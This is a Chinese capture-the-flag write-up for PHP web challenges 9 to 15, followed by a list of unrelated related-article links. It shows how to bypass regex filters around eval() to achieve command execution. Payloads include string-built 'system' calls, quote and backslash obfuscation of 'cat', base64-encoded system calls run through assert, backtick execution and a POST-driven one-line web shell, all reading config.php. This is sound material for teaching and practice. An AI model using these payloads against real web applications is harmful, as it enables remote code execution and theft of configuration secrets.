萌新计划 PartⅡ
Part Ⅱ web 9-15
这一部分的题,主要是绕过过滤条件,进行命令执行
0x01 web 9
过滤条件:
if(preg_match("/system|exec|highlight/i",$c)){
eval($c);
}
payload:
c=highlight_file('config.php');
0x02 web 10
过滤条件:
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}
过滤可用函数,可以使用构造法进行绕过:
c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');
0x03 web 11
过滤条件:
if(!preg_match("/system|exec|highlight|cat/i",$c)){
eval($c);
}
过滤掉上一题使用的cat,linux查看文件内容的函数有很多:less、more、tac。
或者使用单引号、双引号或者反斜杠绕过cat
。
ca't config.php
ca"t config.php
ca\t config.php
0x04 web 12
过滤条件:
if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c)){
eval($c);
}
过滤了文件名与后缀,也防止了使用构造法绕过过滤条件。
可以使用其他命令
passthru()
shell_exec()
popen()
proc_open()
pcntl_exec()
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 catls
相当于将 ls出来的结果cat。
大佬的payload:
c=passthru("ca''t `ls`");
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
0x05 web 13
过滤条件:
if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c)){
eval($c);
}
直接给出大佬的wp:
这次的过滤中增加了分号这样我们就只能执行一条语句了,在eval()中的是php语句,分号禁了,我们只能用 ?>来闭合语句了,这里再提下assert()
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
assert中 的字符串可以没有分号.
所以给出两个payload
c=passthru("ca''t `ls`")?>
c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp=))?>
0x06 web 14
过滤条件:
if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c)){
eval($c);
}
不允许使用括号。
大佬的wp:
c=echo `$_POST[cmd]`?>
使用post提交:
cmd=cat config.php
0x07 web 15
if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c)){
eval($c);
}
新增过滤了尖括号,放开了分号。
payload:
c=echo `$_POST[cmd]`;
使用post提交:
cmd=cat config.php
萌新计划 PartⅡ的更多相关文章
- 萌新计划 PartⅠ
Part Ⅰ web1-7 题目总体代码框架如下,其中过滤内容不同,大体上通过构造出id=1000类似的语句进行绕过,得到flag <?php # 包含数据库连接文件 include(" ...
- 萌新笔记——C++里创建 Trie字典树(中文词典)(三)(联想)
萌新做词典第三篇,做得不好,还请指正,谢谢大佬! 今天把词典的联想做好了,也是比较low的,还改了之前的查询.遍历等代码. Orz 一样地先放上运行结果: test1 ID : char : 件 w ...
- 萌新笔记——C++里创建 Trie字典树(中文词典)(二)(插入、查找、导入、导出)
萌新做词典第二篇,做得不好,还请指正,谢谢大佬! 做好了插入与遍历功能之后,我发现最基本的查找功能没有实现,同时还希望能够把内存的数据存入文件保存下来,并可以从文件中导入词典.此外,数据的路径是存在配 ...
- 萌新笔记——C++里创建 Trie字典树(中文词典)(一)(插入、遍历)
萌新做词典第一篇,做得不好,还请指正,谢谢大佬! 写了一个词典,用到了Trie字典树. 写这个词典的目的,一个是为了压缩一些数据,另一个是为了尝试搜索提示,就像在谷歌搜索的时候,打出某个关键字,会提示 ...
- Ingress 记萌新的第一次连多重(xjbl)
之前为了升七,ArtanisWei学长告诉我可以去紫金园雕塑[这是什么地方啊],顺带靠卖萌骗了一桶key 于是屁颠屁颠的跑去按照群里攻略开始连多重[馒头 by handsomepeach],连了一百年 ...
- java萌新尝试搭建WordPress记录
问题1:安装好PHP环境没找好mysql路径,导致不能调用数据库模块 解决方案:重装一次,参考链接 https://www.cnblogs.com/yangxia-test/p/4174372.htm ...
- 萌新关于C#委托一点见解
开博第一写C#委托(一个简单的委托) 1.关于委托,一直是学习c#的萌新们的噩梦,小生也是.最近在学委托感觉瞬间被虐成狗,但作为C#中极为重要的一个内容,学好了将会及大地减少我们的代码量,而且这也是够 ...
- 萌新的IDEA_web开发笔记(未完)
萌新IDEA_web开发笔记 按兴趣自己搞的网页: http://47.94.140.98:8080/ow_web/my_web/web/ 暂时还没做完. 部署在租的服务器上面,背景视频加载可能有点慢 ...
- Unity萌新日记—开发小技巧与冷知识(脚本篇)
在学习unity的过程中,总会遇到很多零碎的知识点和小技巧,在此把它们记录下来,方便日后查看. 第一篇是关于脚本的一些你可能不知道的小知识. 还是个正在学习的萌新,如果写的不好,请谅解. Unity版 ...
随机推荐
- css固定宽高DIV内部元素垂直居中的方法
应用案例 案例是这样的,一个外层div,高宽是固定的,但是里面内容不是固定的.很多朋友的做法是头部加一个padding或者margin,这样,里面内容显得貌似是居中了,但是假如内容变化,这样头部的固定 ...
- Mbatis使用
Mybatis的搭建过程 导入jar 创建mybatis的核心(全局)配置文件mybatis-config.xml,并配置 <?xml version="1.0" encod ...
- Python流程控制语句详解
1.程序结构 计算机在解决问题时,分别是顺序执行所有语句.选择执行部分语句.循环执行部分语句,分别是:顺序结构.选择结构.循环结构.如下图: 2.选择语句 2.1最简单的if语句 Python使用保留 ...
- 【asp.net core 系列】9 实战之 UnitOfWork以及自定义代码生成
0. 前言 在前一篇中我们创建了一个基于EF的数据查询接口实现基类,这一篇我将带领大家讲一下为这EF补充一些功能,并且提供一个解决避免写大量配置类的方案. 1. SaveChanges的外移 在之前介 ...
- 2019-02-05 Linux的一些常用命令学习2
黑马程序员python课的笔记 ls -l 显示文件详细信息 ls -l -h 以k形式显示大小 ls -a 显示指定目录下的所有子目录和文件,包括隐藏文件 ls匹配符 *代表任意个数的字符 ?代表任 ...
- C# WPF - MVVM实现OPC Client管理系统
前言 本文主要讲解采用WPF MVVM模式设计OPC Client的过程,算作对于WPF MVVM架构的学习记录吧!不足之处请不吝赐教,感谢! 涉及知识点 C#基础 Xaml基础 命令.通知和数据绑定 ...
- Shell脚本 概括
Shell脚本的管理 shell 脚本是linux命令的集合 介于操作系统内核与用户之间,赋值解释命令行 Shell的作用及常见种类 登录Shell 指用户每次登录系统后自动加载的Shell程序,大多 ...
- springMVC --@RequestParam注解(后台控制器获取参数)
在SpringMVC后台控制层获取参数的方式主要有两种,一种是request.getParameter("name"),另外一种是用注解@RequestParam直接获取. 1.获 ...
- js语法基础入门(4)
4.运算符 4.1.什么是运算符? 运算符就是用来表示具体运算规则的符号,例如数学计算中的加减乘除就是具体的运算规则,我们分别用"+ - * /"等符号来表示 4.2.运算符的分类 ...
- 线性表的顺序存储和链式存储c语言实现
一.线性表的顺序存储 typedef int ElemType;typedef struct List { ElemType *data;//动态分配 ,需要申请空间 int length; }Lis ...